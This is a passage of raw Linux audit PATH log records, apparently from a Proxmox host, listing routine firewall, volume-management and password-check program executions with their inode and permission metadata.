name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625622,"@rawstring":"node=pve type=PATH msg=audit(1781964625.622:61866): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625622,"@rawstring":"node=pve type=PATH msg=audit(1781964625.622:61865): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625622,"@rawstring":"node=pve type=PATH msg=audit(1781964625.622:61865): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625622,"@rawstring":"node=pve type=PATH msg=audit(1781964625.622:61864): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625617,"@rawstring":"node=pve type=PATH msg=audit(1781964625.617:61863): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625617,"@rawstring":"node=pve type=PATH msg=audit(1781964625.617:61863): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625617,"@rawstring":"node=pve type=PATH msg=audit(1781964625.617:61863): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625611,"@rawstring":"node=pve type=PATH msg=audit(1781964625.611:61862): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625611,"@rawstring":"node=pve type=PATH msg=audit(1781964625.611:61862): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625604,"@rawstring":"node=pve type=PATH msg=audit(1781964625.604:61861): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625604,"@rawstring":"node=pve type=PATH msg=audit(1781964625.604:61861): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625598,"@rawstring":"node=pve type=PATH msg=audit(1781964625.598:61860): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625598,"@rawstring":"node=pve type=PATH msg=audit(1781964625.598:61860): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625591,"@rawstring":"node=pve type=PATH msg=audit(1781964625.591:61859): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625591,"@rawstring":"node=pve type=PATH msg=audit(1781964625.591:61859): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625585,"@rawstring":"node=pve type=PATH msg=audit(1781964625.585:61857): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625585,"@rawstring":"node=pve type=PATH msg=audit(1781964625.585:61857): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625581,"@rawstring":"node=pve type=PATH msg=audit(1781964625.581:61856): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625581,"@rawstring":"node=pve type=PATH msg=audit(1781964625.581:61856): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625575,"@rawstring":"node=pve type=PATH msg=audit(1781964625.575:61855): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625575,"@rawstring":"node=pve type=PATH msg=audit(1781964625.575:61855): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625570,"@rawstring":"node=pve type=PATH msg=audit(1781964625.570:61854): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625570,"@rawstring":"node=pve type=PATH msg=audit(1781964625.570:61854): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625566,"@rawstring":"node=pve type=PATH msg=audit(1781964625.566:61853): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625566,"@rawstring":"node=pve type=PATH msg=audit(1781964625.566:61853): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625561,"@rawstring":"node=pve type=PATH msg=audit(1781964625.561:61852): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625561,"@rawstring":"node=pve type=PATH msg=audit(1781964625.561:61852): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625554,"@rawstring":"node=pve type=PATH msg=audit(1781964625.554:61851): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625554,"@rawstring":"node=pve type=PATH msg=audit(1781964625.554:61851): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625548,"@rawstring":"node=pve type=PATH msg=audit(1781964625.548:61850): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625548,"@rawstring":"node=pve type=PATH msg=audit(1781964625.548:61850): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625544,"@rawstring":"node=pve type=PATH msg=audit(1781964625.544:61849): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625544,"@rawstring":"node=pve type=PATH msg=audit(1781964625.544:61849): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625541,"@rawstring":"node=pve type=PATH msg=audit(1781964625.541:61848): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625541,"@rawstring":"node=pve type=PATH msg=audit(1781964625.541:61848): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625541,"@rawstring":"node=pve type=PATH msg=audit(1781964625.541:61847): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625541,"@rawstring":"node=pve type=PATH msg=audit(1781964625.541:61847): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625541,"@rawstring":"node=pve type=PATH msg=audit(1781964625.541:61846): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625536,"@rawstring":"node=pve type=PATH msg=audit(1781964625.536:61845): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625536,"@rawstring":"node=pve type=PATH msg=audit(1781964625.536:61845): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625536,"@rawstring":"node=pve type=PATH msg=audit(1781964625.536:61845): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625530,"@rawstring":"node=pve type=PATH msg=audit(1781964625.530:61844): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625530,"@rawstring":"node=pve type=PATH msg=audit(1781964625.530:61844): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625523,"@rawstring":"node=pve type=PATH msg=audit(1781964625.523:61843): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625523,"@rawstring":"node=pve type=PATH msg=audit(1781964625.523:61843): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625518,"@rawstring":"node=pve type=PATH msg=audit(1781964625.518:61842): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625518,"@rawstring":"node=pve type=PATH msg=audit(1781964625.518:61842): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625512,"@rawstring":"node=pve type=PATH msg=audit(1781964625.512:61841): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625512,"@rawstring":"node=pve type=PATH msg=audit(1781964625.512:61841): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625505,"@rawstring":"node=pve type=PATH msg=audit(1781964625.505:61840): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625505,"@rawstring":"node=pve type=PATH msg=audit(1781964625.505:61840): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625075,"@rawstring":"node=pve type=PATH msg=audit(1781964625.075:61839): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625075,"@rawstring":"node=pve type=PATH msg=audit(1781964625.075:61839): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625075,"@rawstring":"node=pve type=PATH msg=audit(1781964625.075:61838): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625075,"@rawstring":"node=pve type=PATH msg=audit(1781964625.075:61837): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625065,"@rawstring":"node=pve type=PATH msg=audit(1781964625.065:61836): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625065,"@rawstring":"node=pve type=PATH msg=audit(1781964625.065:61836): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625065,"@rawstring":"node=pve type=PATH msg=audit(1781964625.065:61835): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625065,"@rawstring":"node=pve type=PATH msg=audit(1781964625.065:61834): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964624124,"@rawstring":"node=pve type=PATH msg=audit(1781964624.124:61833): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964624124,"@rawstring":"node=pve type=PATH msg=audit(1781964624.124:61833): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964624087,"@rawstring":"node=pve type=PATH msg=audit(1781964624.087:61832): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964624087,"@rawstring":"node=pve type=PATH msg=audit(1781964624.087:61832): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964623458,"@rawstring":"node=pve type=PATH msg=audit(1781964623.458:61830): item=0 name=\"/etc/shadow\" inode=131896 dev=fc:01 mode=0100640 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964623455,"@rawstring":"node=pve type=PATH msg=audit(1781964623.455:61829): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964623455,"@rawstring":"node=pve type=PATH msg=audit(1781964623.455:61829): item=0 name=\"/usr/sbin/unix_chkpwd\" inode=265456 dev=fc:01 mode=0102755 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964623420,"@rawstring":"node=pve type=PATH msg=audit(1781964623.420:61828): item=0 name=\"/etc/shadow\" inode=131896 dev=fc:01 mode=0100640 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964623418,"@rawstring":"node=pve type=PATH msg=audit(1781964623.418:61827): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964623418,"@rawstring":"node=pve type=PATH msg=audit(1781964623.418:61827): item=0 name=\"/usr/sbin/unix_chkpwd\" inode=265456 dev=fc:01 mode=0102755 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964620057,"@rawstring":"node=pve type=PATH msg=audit(1781964620.057:61826): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964620057,"@rawstring":"node=pve type=PATH msg=audit(1781964620.057:61826): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964620057,"@rawstring":"node=pve type=PATH msg=audit(1781964620.057:61825): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964620057,"@rawstring":"node=pve type=PATH msg=audit(1781964620.057:61824): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964620045,"@rawstring":"node=pve type=PATH msg=audit(1781964620.045:61823): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964620045,"@rawstring":"node=pve type=PATH msg=audit(1781964620.045:61823): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964620045,"@rawstring":"node=pve type=PATH msg=audit(1781964620.045:61822): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964620045,"@rawstring":"node=pve type=PATH msg=audit(1781964620.045:61821): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964619811,"@rawstring":"node=pve type=PATH msg=audit(1781964619.811:61819): item=0 name=\"/etc/shadow\" inode=131896 dev=fc:01 mode=0100640 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964619809,"@rawstring":"node=pve type=PATH msg=audit(1781964619.809:61818): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964619809,"@rawstring":"node=pve type=PATH msg=audit(1781964619.809:61818): item=0 name=\"/usr/sbin/unix_chkpwd\" inode=265456 dev=fc:01 mode=0102755 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964619773,"@rawstring":"node=pve type=PATH msg=audit(1781964619.773:61817): item=0 name=\"/etc/shadow\" inode=131896 dev=fc:01 mode=0100640 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964619769,"@rawstring":"node=pve type=PATH msg=audit(1781964619.769:61816): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964619769,"@rawstring":"node=pve type=PATH msg=audit(1781964619.769:61816): item=0 name=\"/usr/sbin/unix_chkpwd\" inode=265456 dev=fc:01 mode=0102755 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964616076,"@rawstring":"node=pve type=PATH msg=audit(1781964616.076:61814): item=0 name=\"/etc/shadow\" inode=131896 dev=fc:01 mode=0100640 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964616073,"@rawstring":"node=pve type=PATH msg=audit(1781964616.073:61813): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964616073,"@rawstring":"node=pve type=PATH msg=audit(1781964616.073:61813): item=0 name=\"/usr/sbin/unix_chkpwd\" inode=265456 dev=fc:01 mode=0102755 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964616038,"@rawstring":"node=pve type=PATH msg=audit(1781964616.038:61812): item=0 name=\"/etc/shadow\" inode=131896 dev=fc:01 mode=0100640 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964616035,"@rawstring":"node=pve type=PATH msg=audit(1781964616.035:61811): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964616035,"@rawstring":"node=pve type=PATH msg=audit(1781964616.035:61811): item=0 name=\"/usr/sbin/unix_chkpwd\" inode=265456 dev=fc:01 mode=0102755 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615493,"@rawstring":"node=pve type=PATH msg=audit(1781964615.493:61810): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615493,"@rawstring":"node=pve type=PATH msg=audit(1781964615.493:61810): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615490,"@rawstring":"node=pve type=PATH msg=audit(1781964615.490:61809): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615490,"@rawstring":"node=pve type=PATH msg=audit(1781964615.490:61809): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964615488,"@rawstring":"node=pve type=PATH msg=audit(1781964615.488:61808): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 